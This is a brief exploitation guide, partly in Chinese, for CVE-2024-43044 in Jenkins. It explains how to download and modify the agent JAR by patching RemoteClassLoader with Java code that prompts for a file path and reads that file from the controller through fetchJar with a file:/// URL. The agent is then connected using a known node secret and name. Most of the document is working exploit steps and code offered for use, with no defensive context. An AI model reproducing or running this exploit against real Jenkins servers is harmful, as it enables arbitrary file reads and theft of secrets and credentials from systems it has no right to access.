
CVE-2024-43044的利用方式
Download the JAR package via http://ip:port/jnlpJars/agent.jar
Modify the corresponding code in \hudson\remoting\RemoteClassLoader.class

Recompile and repackage
Need to know the node's secret and name in advance

java -jar agent.jar -url http://ip:port/ -secret <xxx> -name <xxx>
Add the following content:
import java.util.Scanner;
try {
Scanner scanner = new Scanner(System.in);
System.out.print("输入读取文件path:");
String inputText = scanner.nextLine();
System.out.println("尝试读取:" + inputText);
URL jarFileUrl = new URL("file:///" + inputText);
byte[] fileContent = this.proxy.fetchJar(jarFileUrl);
String contentAsString = new String(fileContent, StandardCharsets.UTF_8);
System.out.println("文件内容:\n" + contentAsString);
} catch (Exception var10) {
System.out.println("WRONG:" + var10);
}
